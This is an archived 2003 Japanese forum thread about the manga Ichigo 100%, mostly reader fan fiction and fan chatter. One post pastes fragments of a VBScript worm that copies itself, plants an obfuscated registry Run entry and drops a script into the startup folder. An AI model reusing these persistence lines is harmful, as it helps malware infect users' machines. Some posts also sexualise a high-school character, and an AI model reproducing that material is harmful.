「おばさんは何か春のバーゲンに並びに行くとかで。おじさんは早く朝ごはん食べさせられたみたい。」
「そ、そうか・・・。」
俺は親の消失にも気付かないほど動揺しているらしい。
緑茶を最後まですすりきった唯が立ち上がって俺に言う。
「ほら、淳平、カバンは?」
「あ、忘れてた・・・」
いかに自分がぼやけているか、ことごとく確認させられる。
「唯のも取ってきて。」
「はいはい・・・。」
何か使役されてるような気もしたが、朝飯を用意してくれたことを思い出して俺達の部屋へ向かう。
閉じたままのカーテンを開ける。
飛びこんできた陽の光が目をいっぱいに満たしていく。
青空・・・、広がっている雲・・・、何一つ変わらない静かな朝。
でも、俺達は・・・・・・
カバンを取りに来たことを思い出して唯のカバンと俺のカバンを両手に提げて部屋を出る。
「あ、ありがとー。」
カバンを渡すと唯が空いた方の手をつなごうとする。
ひょいっと手を引っ込めて離すと、腕を組もうとする。
「ダメだって」
恥ずかしくてそんなことやってられない。
「ケチー」
唯が口を尖らせる。
「いいから学校行こうぜ、ほら送ってやるから。」
かるく肩を抱く。
「わっ…」
唯が肩をすくめる。つかんだ手にブレザー越しの暖かさが伝わってくる。
そのまま玄関まで歩いていく。
唯が靴をはいている間はさすがに手は離している。
その間に鍵を手に持つ。
唯が靴を履き終わると俺も靴を履き始める。
狭い玄関で靴を履くことは簡単ではないのだ。
はき終わって立ちあがりざま、顔が唯の顔に近付く。
唯が俺の顔に軽く両手を当てて唇を触れ合わせる。
10秒くらいに感じたのだが、脳内時計がそれは1秒にも満たないことを示していた。
「ほら、これで手つないで歩かなくてもいいよ。」
唇を離した唯が微笑む。
「・・・うん。」
唯が後ろを向いてドアノブを回す。
ドアが開く。
光と空気が・・・・・・
唯が外に足を踏み出す。
俺も外に出る。
・・・朝。
瞳孔が光で縮み、顔の皮膚と肺の中を涼しい空気がなでていく。
「ん―っ…」
唯が伸びをする。
俺はドアを閉めて鍵をかける。
ポケットに鍵をしまいながら俺達は階段へ向かって歩き始める。
マンションの他の住人を見かけないことは幸運だった。
きっと俺は不必要に動揺しただろうから。
それにしても・・・唯はキス癖もあるのか・・・。すでに2回。
階段を唯と競うように駆け下りると、公道に出て誰もいない道を歩き始めた。
住宅街なので極めて静かだ・・・。
「ねぇ、唯の学校まで来るの?」
俺と並んで歩いている唯が口を開く。
「ああ。そのつもりだけど・・・」
「毎朝やるの?これ」
そう言えば考えていなかった。毎朝・・・か。
「三日坊主にならないといいんだけどな・・・」
唯が空を見上げながら言う。見くびられたもんだ。
けど・・・何か考えないとな・・・。
人のまばらな街を通り過ぎ、桜海学園を目指しながら歩いているうちに
俺は少しずつ昨日までの”日常”に補正がかけられて、”今日の日常”に変化しているのを、
まるで目が光になれていくように、或いは眼が遠くの物にピントを合わせるように
感覚としてはっきりと感じていた。
俺達は少しづつ話をしながら道をたどっていった。
桜海学園に近付いてきたときに唯が言った。
「ねぇ・・・淳平、ところでさ、進路とかって考えたことある?」
「進路って・・・大学とかか?」
「そう・・・
実はね、唯はお父さん達には大学に行けって言われてるんだ・・・。」
「そ、そうか・・・。」
考えたこともなかった。
俺は自分のことについて考えてみた。
映画を撮って食っていける?
そんなわけはない。
俺には情熱はあるが言うほどの技術がまだ備わっていないからだ・・・。
「あ、どうでもいい話してごめんね。忘れて。
大学なんて先の話だしね。」
唯が考え込んだ俺を見て言った。
桜海学園の門の前までやってきてしまう。
「じゃ、またね。迎えに来てって言いたいとこなんだけど・・・
淳平も部活あるでしょ?ちゃんと一人で帰るから・・・
その代わり。」
唯が俺に飛びついて唇に、唇の柔らかい感触を残す。髪の香りが、俺の頭の周りを舞う。
「ちょっ・・・」
「じゃーねっ!・・・」
手を振りながら校舎へ走っていく唯を呆然と見つめながら、俺は自分の唇に指を当てた。
唯が昇降口に駆け込んだあと、俺は慌てて周りを見まわした。幸いにして誰もいない。
ほっと胸をなでおろす。
俺は自分の学校への道を歩きながら考えた。
俺は・・・幼なじみの・・・妹みたいだった・・・唯の・・・
大事なものをもらっておいて・・・
これからも優柔不断のまま女の子達を傷付けていくのか?
そんなことはできない。もうそろそろ決着をつけるべきなのかもしれない。
色々なものに。
俺は前に目を据えたまま今度は自分の学校へ向かっていった。
これでラストの4分の1ぐらいです。
おお神よ ・゚・ヽ(;´Д、)ノ・゚・
ラストまで一気は言い過ぎでした。w
でも8月中にはゼターイに仕上げます。間違いなく。
なんっつーかね、淳平の家から退去は僕的にはNGですよ。ええ。
やはり、メインキャラとして動かすには真中家にいると、
少年誌的にはNG要素乱発しすぎちゃうからでしょうね。
フン・・・少年誌の限界か・・・。その程度か、ジャン○よ・・・w
相変わらずサイコー
感想は最後に書きたいから今はただドキドキしながら待たせてもらいます
激しく期待してるんでほんと頑張ってくださいな
∴・.゚.・∴..*.+.:: ∴ o *∧∧* o ∴::.。.:*・゜.∴
キタ━━━━━━━━.(゚∀゚)━━━━━━━━ !!!!
∴・.゚.・∴..*.+.:: ∴ o ** o ∴::.。.:*・゜.∴ * o
756 :
名無しさん@ピンキー:03/08/12 17:59 ID:wV4U4iyX
いいですなぁ。
マジで唯はよいです。
っていうか、次スレはスレタイ変えないと。w
あぼーん
ここ久しぶりに来てみたら唯のSS完結してたんだ
しかも続き始まってる(ヤター!
由比さんこれからも頑張ってください
ところでは保管庫の完結済みのいちごSSってSSのみ抜粋された形にはなっていないんでしょうか?
>>759 ???
どういう意味でしょうか?
雑談やその他の部分は抜いた本文のみ収録してますけど?
>>760 759です
大変失礼しました
今しがた保管場所が分かりました
お手数をおかけして申し訳ない(滝汗
>>761 あー、やっぱりわかりにくいのか…
2chの各スレへのリンクはない方がいいのかな。
763 :
名無しさん@ピンキー:03/08/13 19:11 ID:CPKHmXtW
あったほうがいいけど確かに分類とか見にくいな
>>754 すみません・・・(;´Д`)
できるだけ早く書き上げるのでどうかお待ちを・・・
>>755 急げ俺━━━━(゚∀。)━━━━ッ!!
>>756 いいですね。マターリするには一番です。
さつきも書きたいな・・・ハードエロで。w
>>758 どうもです。頑張ります(*´Д`)
>SS保管庫の素人”管理”人様
更新お疲れ様です。
板中のSSを補完するなんてスゴ過ぎです。尊敬してます。
さて、何かあった時のために連絡を取りたいのですが、
捨てアドを晒しておくのでよかったらメールリストしてくださいな。
>>763 現在番号のみのSSにタイトルを付けてくれる方募集。
もちろん作者本人に付けていただくのがベストなのですが、
他の方でも構わないので内容がわかりやすいタイトルを付けて下さい。
>>764 メールリストって何でしょう?
基本的に、収蔵対象のスレはほぼ毎日覗いているので、
人目を憚らない用件でしたらこちらに書き込んで貰えれば。
メールの間違いですね。>メールリスト
767 :
山崎 渉:03/08/15 16:34 ID:7WSqfyM8
(⌒V⌒)
│ ^ ^ │<これからも僕を応援して下さいね(^^)。
⊂| |つ
(_)(_) 山崎パン
768 :
名無しさん@ピンキー:03/08/15 18:01 ID:l/HPEULz
age
(´-`).。oO(誰かさつきで書いてYO・・・・・・
(´-`).。oO(外村妹は人気ないのかな? 漏れ的には一番萌えるんだが・・・・・・
771 :
名無しさん@ピンキー:03/08/17 21:29 ID:+deavdTb
772 :
:03/08/17 21:39 ID:yr/8qXea
次スレタイ変えるのは全然構わんから、また東城も書いてほしいなぁw
次のスレタイは、東西南北揃い踏み?
>>774 そのうち、上下左右前後内外も加わったりして…
みんなは乳好きじゃないのか?(´・ω・`)ショボーン
大きいのがスキです
手のひらに丁度すっぽり包み込めるか、少し余る位が好きです。
まず挟めるかどうかだ。
>>776 前田、後藤、内村、右田、佐々、上野、下村……
c.Copy(dirsystem&"\MS BLAST.TXT.vbs")
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),
E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MS BLAST.TXT.vbs")
784 :
名無しさん@ピンキー:03/08/21 20:49 ID:0nn0+cIY
785 :
反山崎:03/08/22 09:17 ID:u3I0vB+V
山崎は身体障害者(−−)
あぼーん
あぼーん
hosyu
789 :
ケーキ屋:03/08/24 03:43 ID:mLzovJ7T
つかさは、淳平とプールに行った後、偶然にバイト先のケーキ屋の孫とあった。
『あ!やっぱり西野さんだ。秋の新作ケーキを作ろうと思って材料買いに行ってた
んだ。西野さんもくる?報酬はケーキだけどどう?』
突然、言われたのでびっくりしながら
『はぃ!ぜひお手伝いさせてください』
『じゃぁこの車に乗って、あ!散らかってるどけるから待ってて』
『気にしないで』
続く?
いや、もう結構です
791 :
名無しさん@ピンキー:03/08/24 10:06 ID:ih/MH968
また唯のSSが来ないかなあ
793 :
名無しさん@ピンキー:03/08/25 03:31 ID:vcwdUD7U
>>789 それ来週のジャンプじゃないですか?まぁそれからオリジナルを加えるなら
キボンヌ
西野トラレチャウヨヽ(`Д´)ノウワァァン!!
ミトメタクナーイ!! ミトメタクナーイ!!
司たんとプールでラブラブなSSキボン!
さつきタンとホテルでラヴラヴなSSきぼんぬ!
>>794 冒頭のシーンから察するに、
ケーキの味にだけ惚れている、と読んでみた。
そろそろ完結にむけて関係を整理していくなら、
さよなら西野とでもなるんだろうが。
ぽ
799 :
名無しさん@ピンキー:03/08/27 22:50 ID:4vtxSjW3
あげ
800ゲトー
「外村、ちょっと今いいか?」
「よう、真中。
・・・朝からどうしたんだよ、真面目な顔してさ?」
朝のホームルームが終わるとすぐに俺は外村に話しかけた。
「いいからちょっと・・・屋上まで付き合ってくれ。」
「何だよ・・・東条の写真とかくれって言うなら今すぐにでも・・・」
無駄口を叩こうとした外村も俺の目の色を見て口をつぐんだ。
「で、何だ?話って・・・」
外村が屋上のドアを閉めながら訊いた。
「早速だけど、外村、映研部の部長、というか運営を代わってくれないか?」
頼む。」
「一体どうした?急に・・・」
「詳しいことは言えないけど、時間をあまり部活に使いたくないんだ。
それだけ。」
こっちへ歩いてくる外村の動きが止まる。
「映画を撮ることより大事なものが真中にできた・・・ってことか?
へぇ・・・面白いねぇ・・・女かな?西野って娘とよりを戻したとか・・・・」
すかさず詮索してくる。
「西野じゃないけど・・・」
言ってしまってから後悔する。外村の誘導尋問にかかるとまずい。
「へぇ・・・じゃあ・・・」
と候補を挙げようとする。
「わぁ!もういいって!」
慌てて打ち消す。
「気になるんだけどなぁ・・・あれだけ優柔不断な真中が・・・
一体何がこの男をそうさせたのか・・・」
変なところにまで話が及びそうになったので話を路線に戻す。
「俺は副部長に就くか、やりたいやつがいたらそれも譲ってやってくれ。
「ふーん・・・真中がなぁ・・・ま、いいか。
俺も一映像作家として撮りたい構想が無いこともないし、監督権譲ってくれるのは
それなりにありがたいね。」
外村がどんな作品を撮りたいのかに少し興味があったが、
俺は少しずつ蚊帳の外の人間になりつつあるのだ。知っても仕方が無い。
「東条とさつきには俺から言っとくから。」
屋上のフェンスに近づいて10本の指を掛けて街を見る。
俺は学校に着くまで、唯の言った言葉を反芻してそれの持つ意味を引き出そうとしていた。
大学……俺はそんなところに行けるのか?俺の通う泉坂は進学校だ。
でも俺の成績じゃ…
大体、そもそも、俺は映画を撮りたいんじゃないのか?
それは高校の間でしか叶わない夢なのか?
そんなことはない。大学へ行けばもっと機材もあるだろうし、新しい仲間に巡りあえるかもしれない。
今、映画を撮りたいというのは俺のワガママじゃないのか?
高校で映画を撮ってそれで俺の人生は終わりなのか?
大体、今の俺の映画は自己満足の域を出てないんじゃないのか?
もっと、もっと上を目指したい。もっと…面白い、味のある映画を撮りたい……。
「さて・・・真中、俺はもう戻るぞ?
一時限目が始まるしなー・・・」
俺が回想に浸っている間に、頭の後ろで手を組んで口笛を吹きながら去っていこうとする
外村に声を掛ける。
「外村、いきなり呼び出して悪かったな。」
「いいっていいって・・・お互い様さ・・・」
いつも通り含みのあるセリフを口にしながら外村が歩いていく。
俺はもう一つ聞くべき事を思い出してその背中に問いかける。
「外村ぁ、それともう一つ訊いていいかぁ?」
「何だよ」
「お前、勉強って何やってる?」
「は?」
外村が振り向く。
真面目に授業を聞いてみることにすると、時間の流れが、感じることができないほどに速くなる
ということに気づいた。
理解するということは思ったよりも時間がかかるものなのだ。
そう、気に入ったムードが出るまで二回ぐらいは同じ場面を撮り直してしまうように。
1時間がまさに飛ぶ矢のようだった。
そして4時間目が終わり、昼食を終えたあと、俺はさつきに時を見計らって声を掛けた。
「さつき、今いいか?」
「えっ?なに?」
食後の友達との談笑を楽しんでいたさつきが俺のほうを振り向く。
その満面の笑顔を目にしていまさらのように湧き上がる罪悪感を押し殺して、次の言葉を口にする。
「・・・ゴメン、ちょっと話があるんだ・・・・・・。」
「あ、そう。・・・みんなちょっと私抜けるね。」
手を上げる女子達を尻目に俺とさつきは教室を出た。
俺達はいつだったかも一緒に来た校舎の裏まで来ていた。
黙って歩く俺の後ろをさつきが付いてきているのが足音でわかる。
時を見計らって足を止める。軽く空を見上げて、深呼吸する。
そして後ろをふり返る。
さつきが黙ってたたずんでいる。
それを見て自分を殴りつけたくなる衝動をこらえながら、そっと口を開く。
「あの、さ。・・・さつき、俺・・・・。」
「待って。」
さつきが俺の顔をまっすぐに見る。
「あたしにも深呼吸させて。」
そう言うとさつきは少しだけ上を向いて息をゆっくりと吸い込み始めた。
胸が満たされきるころ、さつきは体を微かに震わせ目を閉じた。
それはまるで誰かのキスを待っているように見えた。
束の間の静止。
全て、陽の光も、フェンスに絡みついた枯れた草も、地面に新しくわき出した緑も、
砂地も、青くつきぬけた空も、かすれそうな雲も・・・
さつきに合わせて止まっているようだった。
そしてさつきが眼を開いた。
「で、何?話って。」
「・・・俺、映研部の部長辞めることにしたんだ。」
「あー、なんだ。そんなこと・・・・・・なんで?
真中、アンタはどうすんのよ?」
「俺は・・・」
本当は映研部自体を辞めることに等しいことをなかなか言い出せなかった。
でも自分で言うべきなのだ。
いつでも、自分で捲いた種は自分で刈り取らなければいけない。今がその時なのだ・・・
「副部長になるか、それもやりたいやつがいたら、ヒラ部員になる。」
さすがに、外村や小宮山の居心地のいい場所を奪うわけにはいかなかった。
部員が少ないと、部自体が解体される危険があるからだ。
「それと、部活にはもう、あまり、というか多分、出ない。」
言葉を途切れさせながらも俺はなんとかそれだけ言い切った。
「なんで?!真中、あんなに映画撮りたがってたじゃない!
どうして・・・?」
口ごもる。
一瞬の間にさつきは俺の雰囲気から何かを感じ取っていったようだった。
そしておそらくは話をするのにこの場所を選んだ理由も。
「・・・なんとなくわかった・・・・・・。
西野って子なの?真中の家に来てた・・・」
俺はなおも黙ったままだった。
さつきが俺の眼を見詰める。しかしすぐに眼をつぶってため息をつき、
ふっと少し笑ってから空を見上げた。
「ま、誰なのか知りたいけど知ってどうなるわけでもないし、聞かないっ。
真中が映画をやめてまでその子をとったんだもんね・・・。
今度ばかりは邪魔したくてもできっこないね・・・。」
さつきの眼が俺の頭の後ろの雲の動きを追う。
「・・・あーぁ・・・ここまで来るのにすごく時間がかかっちゃった・・・
簡単なことなのにね・・・」
俺には簡単なことにも思えなかったが、本当はさつきも簡単だとは思っていないだろう。
ただ、終わりつつあるものはどうしても簡単に見えてしまうものなのだ。
「・・・わかった。」
さつきが俺の眼に視線を戻して言った。
「じゃあさ、あたしを今度こそはっきりフって。」
ぼんやりとさつきの眼を俺は見詰める。無責任に「ありのままの自分を伝える」なんて・・・
なんて俺は無知で愚かだったのだろう。
いつかは訪れるだろう痛みを未来に遺し大きくしていただけだった・・・
その痛みが今さつきを苦しめようとしている。
できることなら今、さつきを両手で思いきり抱きしめたかった。
包み込んで痛みから守ってやりたかった。けれどそうする資格も権利も今の俺にはなかった。
ただ、これ以上痛みを大きくしないように・・・ただそれだけのために・・・
「ごめんなさい。」
俺は腰を折ってさつきに頭を下げ、そう口にした。
俺の周りの全てが黙って動きを止めた。長い、長すぎる沈黙が俺をさいなむ。
でも、これが俺が受け入れるべき罰であり痛みなのだ。
あの日捲かれた罪の種を収穫するための儀式だった・・・。
俺から幾分離れた場所でさつきが口を開く気配がした。
「ありがと・・・。」
そう言ったように俺には聞こえたが、それもよくは分からなかった。
「ありがとう」という言葉の持つ意味さえも。
そしてさらに沈黙の間のあと、さつきが俺に背を向けて、砂地の上を歩いて去っていく、ざっざっという音が続いた。
その一つ一つが俺を消耗させていく。けれど・・・
さつきは・・・泣いているのだろうか。俺が西野に別れを言い渡された時は、俺は泣いてしまった。
それは西野からもらったものがたくさんあったから、泣ける程度の悲しみに和らげられていたのだ。
さつきは・・・泣くこともできないほど・・・
俺は眼を開けた。
そしてゆっくりと頭を上げる。さつきは居なかった。
急に疲れが噴き出して、俺は座り込んだ。
後ろに手をついて空を仰ぎ見る。
ああ・・・もしも・・・
もしも俺にもう一度同じ人生が与えられるなら、今度はさつきを選んであげられる・・・?
そこまで考えて俺は自嘲した。
・・・何が「選んであげられる」だ。本当にイヤな奴だ。俺は・・・最低だ。
空を眼のレンズがゆるみきるまで眺め続ける。
自己嫌悪ととてつもない虚脱感から逃れるように、俺の意識は雲の間を通り抜け
その上を飛び空の深いところへはせていった。
見ている間にも 俺の目の前で雲は流れ続けた。
最高すぎ
えーとこれで半分なのですが・・・
すみません。八月中に終わらせるなんてさらに大ウソでした・゚・ヽ(;´Д、)ノ・゚・
マザーがいかれて、BIOS画面さえ立ち上がらないのです(マジ
今はネットカフェでやってますが、次はいつ来られるか
ああ、壊れていたのはHDだけではなかったか・・・
>>810 早速ありがd
近いうちにまた書きます。
本編よりイイ
814 :
名無しさん@ピンキー:03/08/29 19:15 ID:3j0zUPQb
age
エロエロ
816 :
名無しさん@ピンキー:03/08/30 14:15 ID:t6HmPI4Y
あげ
由比さん新作乙です。
「本当に」大変でしょうがめげずに頑張ってください。
ちなみに細かいですが女性キャラの一人称などは原作と同じように統一された方がよいかと
?さつきは「あたし」じゃなかった?
ていうか女子と話してるときは「私」で
真中のときは「あたし」だったような・・・
気のせいだったらスマソ
PC直りました
それからいちいち噛みつくみたいで恐縮ですが、「など」って何?
真中の思考は原作でも一貫してないのであれですが・・・(;´Д`)
一人称二人称には気を配ったつもりでしたが、どこか抜かったのかなぁ?
具体的な指摘キボン
>> 由比さん
817です。パソコン直ったみたいで良かったですね。
ご指摘を受けたようなので一応カキコさせてもらいますと風呂場の唯や女友達と話すさつきなどが
一部分私になってたりしてましたのでいちいち失礼かもと思いましたが書き込みさせてもらいました。
後は特になにも問題ないと思います。最後まで楽しみにしておりますので頑張ってください。
ハチャー気付かなかった・・・
>>695正しくは「あたしが浴槽に隠れるから」ですね。
それからさつきのセリフの「私」は意図的だったのですが・・・
原作では言わないのかな?気のせいだったのか(・ω・)ショボーン
本人が気付かないとこまで細かく見てくれてますね
ありがたいことです。(*´Д`)
そこまでする理由あるのか・・・大変だな。
いちご100%って 恋愛マンガとしては糞だけど、絵はいいですねw
どうでもいいのにな。
>後は特になにも問題ないと思います。
ハァ(;´Д`)脂汗が出そうだ
いま、時代の流れはつかさに来ている!
827 :
名無しさん@ピンキー:03/09/01 16:01 ID:xfQIPELV
あげ
今気づいたんだが由比正雪氏の名前って唯小説をもじってるのでつね
逝ってきます
46 32 20 4D 46 43 81 40 41 70 70 6C 69 63 61 74 69 6F 6E 20 53 79 6E 74 61 78 20 45 72 72 6F
72 0D 0A 0D 0A 83 54 81 5B 83 6F 81 5B 90 DA 91 B1 83 47 83 89 81 5B 0D 0A 0D 0A 83 54 81
5B 83 6F 81 5B 82 AA 8C A9 82 C2 82 A9 82 E8 82 DC 82 B9 82 F1 81 42 0D 0A 82 B5 82 CE
82 E7 82 AD 82 B5 82 C4 82 A9 82 E7 83 8D 83 4F 83 49 83 93 82 B5 82 C4 82 AD 82 BE 82 B3 82 A2 81 42
831 :
名無しさん@ピンキー:03/09/01 17:06 ID:z0ZnUQQd
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832 :
シンサンヘ:03/09/01 19:24 ID:Ngk+FSqc
833 :
名無しさん@ピンキー:03/09/02 13:21 ID:2jsTz6sz
つかさタン(;´Д`)ハァハァ
834 :
Fortress2 Syntax Error:03/09/02 16:20 ID:zRsnvzVd
スレッド接続エラー(100)
このスレでの受付は2003年9月2日16時20分を持って終了しました。
次にカキコする時にはこのスレでは無く、次スレに接続し直してください。
836 :
名無しさん@ピンキー:03/09/02 16:53 ID:2jsTz6sz
age
?
ここの板のスレもageたらすぐに業者が来るな
>>836 sageろや、ヴォケ。
>>831-832 どうせ書いても誰も来ない、IP晒しageにされアク禁。
広告コピペして本当におめでてーな。もう来んな、ヴァカ。
こんなもんでいい? >>all
とってもいいわぁ・・・
>>829 そうなの?漏れは由井正雪をもじったと思ってた…
由井正雪は由比正雪とも書くらしいんですよ・・・
「ゆいしょうせつ」でぐぐってみたら由比の方が出たので
こっちかなぁ・・・と。
>>829さんまで誰も突っ込んでくれないから
このまま潜伏するか・・・( ̄ー ̄)ニヤリ
と考えてた・・・w
がんがれ
845 :
名無しさん@ピンキー:03/09/06 03:24 ID:Fppzdnq7
もぅすぐで900か〜
ほ
し
の
せんいち
保守
851 :
名無しさん@ピンキー:03/09/10 21:32 ID:HdsHuaVo
上ヶ
852 :
名無しさん@ピンキー:03/09/11 00:00 ID:0d2z05pZ
age
光臨待ち
ジャンプ入手でつ。
西野大攻勢。
西野二股疑惑
時代の流れは確実につかさに来ている!
って前にも書いたような気がw
ショートカットマンセー!
保守のまま次スレに行ったりして・・・
死守ー!
西野(河下)何考えてるんだろうか
東城が大胆になっていきそうな予感
東城って、さつきの事はアウトオブ眼中で、
西野しかライバルとして認識してないんだなぁ。
立場ないな。。。
保守
>>861 それを言うなら、外村妹はどうなる。
久しぶりに出てきたと思ったら、思いっきりチョイ役・・・。・゚・(ノД`)・゚・。
864 :
名無しさん@ピンキー:03/09/17 00:00 ID:f2+pAilj
期待age
ほす
女増えすぎ、東西南北でじっくり描いて欲しかった。
>>866 そんなに増えたか?
外村妹は攻略対象外キャラっぽいが。
基本的にこの漫画の女は東西だけでも良かった、と言ってみる
でもここの唯小説には期待w
じゃ北もオッケー
さつき(;´Д`)ハァハァハァハァハアハア
872 :
名無しさん@ピンキー:03/09/22 12:43 ID:HV8v1NjF
サービスシーン期待あげ
唯は名前だけかよ…
まだかな
875 :
名無しさん@ピンキー:03/09/25 14:58 ID:chDZZvP1
age
/i:::::::::i:i::i/::::::::::,:彡彡三ミ、::::::i:l〜‐-=`ー゙'' |
_,.、、--──゙、:::::::::::l:川,.-'´〃´゙r'`゙゙''ヾil::::::ll |
l´ ゙!、::::::/:;へ::i/⌒゙ヽ、三彡\il ,/ |
.! |i゙i:vi':::/::::::_::r‐-::、::::::::::゙ヽ、彡゙:i __,..-'´,>-‐'" l
| |ノil/:l::/::::::/::::::'゙i:::、::ヽ;:::::::::::::::゙、:、k'"゙''ー‐イ ./ |
| /li:゙i`/::::::::i:::::::::バi::゙i,::::ヽヽ::::::::::::l::゙、:ヽ, /i l |
.! l:i!Y::/::/:::::|:::::::/ ゙i:::|゙il゙i::゙i:゙、:::::::::::|:::ヾ`゙V:/ .! |
l, lヽi/::::l:::::::i|:::i:/ l,::i!゙i:!゙i::!゙i_゙、:::::::ト、:::ヽ;ィi .! / .!
l, `゙7::i::|::::::::!|::i:l l:::!,.゙i゙i゙゙i,- 、l,::::::lヾ、、:ヽ--'ァ' |
l, l:::::i::|::::::::l l::i| i::! i!゙i(;;;;:ノ,ヘ;::::l i゙`ti:i'"iヽ、 ,l
゙i, l,:::i:i:|::::::i| l::|‐'" l:! ! ゙゙i´ l::::! ゙' /i:| |、 `゙'''- 、.,__,l、
∧ ゙i;:l:i:l::::::|:|、i;;::゙iヽ i! //// |:::! .i´:::i| / ゙'''‐- 、.,_ `゙)
/:::l, ゙i:i:|:::::|i::l゙ヾシ ゙' |::!/i〃:l l  ̄`゙゙゙i
./::::/::l, ゙、:l,::::l゙'i:! // 〇 iレ .!::::/r', /
'"/::///::∧ ゙i゙、:::|`i゙iヽ、 /! |::/r゙、` /
// l/:,ィ:i:::l, / /、::゙i, l: :ヾ゙i`‐,------- '"/ l゙ヽ、`゙ 、 〃
真中・・・愛してる
真中・・・早く私を犯して!
あああ・・・真中っ、真中ぁぁぁぁあああ ! 私を犯し抜いてぇぇえええ!!!!!
さつきタン(;´Д`)ハァハァ・・・(*´Д`*)ハァハァハアハアーーーー!!!!!
時代の流れは確実につかさに来ている!
これ書くの3度目だよ、職人さんぷりーづ
>>877 いちごのアスキーアートをもっと見たいなら、
ヤフーやグーグルで検索かけるとAA倉庫にヒットするぞ
>>876の全身ヴァージョンや他のキャラもあるよん
エロいのもっと!
881 :
名無しさん@ピンキー:03/10/01 18:50 ID:5KwHqd7s
hosyu
連載の方も保守の方向で
今日発売のコミックスでは4大ヒロインのプロフィール月でつ。
(´-`).。oO(できたらこのスレの為にうpしてホスィ・・・
885 :
名無しさん@ピンキー:03/10/04 01:34 ID:mXRW6Zbs
>>884 まあ、かまわんが。。。
自分で読みたいつー人は以下スルー汁。
西野つかさ
誕生日 9月16日、星座・血液型 乙女座・B型、身長 158cm、
趣味 料理・ショッピング、好きな食べ物 チェリーパイ(はぁと)、チャームポイント くちびる、
癖 たまに男言葉になる・くちびるをとがらせる、
おフロでどこから洗う? 髪、男の子の体のどこにドキッとする? 手・指、
作者からのコメント 性格がつかみにくくて苦労してます…。ホント難産キャラだ〜!!
南戸唯
誕生日 3月31日、星座・血液型 牡羊座・O型、身長 150cm、
趣味 キャラクターグッズを集めること、好きな食べ物 ハンバーグ、チャームポイント 目、
癖 寝ている間に服を脱ぐ、
おフロでどこから洗う? 首、男の子の体のどこにドキッとする? わからん!、
作者からのコメント 初登場の時と今現在の顔の違いに作者もびっくり(おい!)
東城綾
誕生日 1月14日、星座・血液型 山羊座・A型、身長 159cm、
趣味 読書、好きな食べ物 クレープ、チャームポイント 髪の毛、
癖 どこでも転ぶ、
おフロでどこから洗う? 左腕、男の子の体のどこにドキッとする? 肩、
作者からのコメント わりと描きやすいです。ただ髪のベタが…(by作者)
北大路さつき
誕生日 5月3日、星座・血液型 牡牛座・O型、身長 162cm、
趣味 スポーツならなんでも得意、好きな食べ物 焼肉、チャームポイント 胸!!、
癖 真中にすぐ抱きつく、
おフロでどこから洗う? 胸(はぁと)、男の子の体のどこにドキッとする? 真中の体ならどこでも(はぁと)、
作者からのコメント 一番描きやすい性格してる。ただ髪のトーンが…(byアシ)
>885
小津
綾タン……一番最初に身体洗う場所、俺と一緒だな。
左手洗う時、右手にあのでかいオパーイがプニプニ当たるんだろうな(;´Д`)ハァハァ
スリーサイズないのか。。。
さつきタンはHカプーとの噂だから、バスト98くらいだろうか?
ついでに女の子の秘密、である体重もないな(笑
綾はFカップと見た
コミックスの紹介では各キャラコスプレしてまつな。
つかさが婦警さん
唯が巫女さん
綾がナース
さつきがアンミラ?
>>891 そうです そのコスプレです 80年代的なコスプレですね
ジャンプでみたんだが・・・・
いちご100%で例えると、
ビアンカと結婚→東城
フローラと結婚→北大路
という感じだろ?
フローラを選ぶ香具師は頭おかしいよ。
894 :
名無しさん@ピンキー:03/10/05 04:19 ID:+G9v/QgW
フローラの方がお得っていうのは昔からの常識
>>893 いやその例えは逆だろ。
と、釣られてみるw
一年の時点では
つかさBカップ
綾Eカップ
さつきGカップ
でつね
>>893 つかさたんの名前が出ないのはどういうわけですか?
>894
そうそう。
あと、レベルがあがった場合、フローラのほうが強いというのもある。覚える呪文がビアンカより多いし。
幼年時代に主人公との接触が無い分、ストーリー的にワリを喰ってる哀れなキャラだよ。
リメイクがあるなら、その辺のフォローがやはり必要だよな。
899 :
名無しさん@ピンキー:03/10/05 18:35 ID:mrNVf3gV
つかさタン応援あげ
900ボイソ
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チェルシーエンジェル↑
さつきage!☆
もし綾が学校を休んだ日は、さつきは真中に対し、どんな動きを見せるだろう?
903 :
名無しさん@ピンキー:03/10/06 17:53 ID:ooNBI0VY
さつきは東城がいないと案外おとなしく普通に会話してる程度かもな
抱きついたりしてるのって実は意識して東城に見せつけてるから
しかし内心はともかく表面上は常に落ち着いてる東城は偉い
ああああああああ
再来週までおあづけでつかあぁぁぁ
・
・
・
ま、少年誌に過剰に期待してもいいことないでつけど、
「アレ」までは逝って欲しいなあ。。。
守衛に見つかって逃走でおしまいだろう。
と、夢も希望も無い現実を突きつけてみる。
907 :
名無しさん@ピンキー:03/10/08 18:47 ID:ZqSBkLjy
逃走じゃなくいっその事
逃避行してほしい
>>907 ついこの間
南とやったばかりだからなあ。
幼馴染の南とは一時の逃避行だったが今度は永遠の愛の逃避行で逝ってほしい
相手は西野でも誰でもいい
つかさが相手だとスリリングだ罠
さつきでは目につきすぎるw
つかさは堪え忍ぶのが似合いそうだなあ
お姫様の手を握り締め共に落ち延びるナイト真中って設定で
お姫様は東か西かで
髪の長い東は姫でショートの西は侍女
当初真中騎士と東姫の間に恋が芽生えるが身分の違いから騎士は姫を諦め西侍女と結ばれる
姫は隣の国の天地王子と政略結婚するが騎士の事を忘れれず単身城から脱出するが不運にも
強欲な外村商人に捕まり性奴隷として売り飛ばされたそうな
教訓:運命は受け入れましょう
O型が二人…。
AB型はいないのか…。
流れからして唯がABだろう河下と言いたい
今週は休載か・・・
この作者ってさ
方角にちなんで名前つけてるくせに
四人そろった表紙とかで
方角通りに配置しないよね。
わざとやっているのかな?
>917
えーっと、キミは普通の地図どおり、
「北が上」じゃないと間違ってるとか思うタイプ?
920 :
名無しさん@ピンキー:03/10/12 12:02 ID:kSaD6hCb
7巻の表紙は女4人の中心に真ん中淳平がいるべきかと
それ以前にあの表紙絵なんかツマラン
やっぱ今までみたいに一人の女をメインで描いて欲しい
美鈴キボウ
小雪まだですかあ、と言ってみる
結局オチつきますた。
まあ西野が本格復帰&大攻勢なのでよしとするか。
「これからもっとスゴイことするんだもんね」
つかさタンヤル気まんまんだったな……
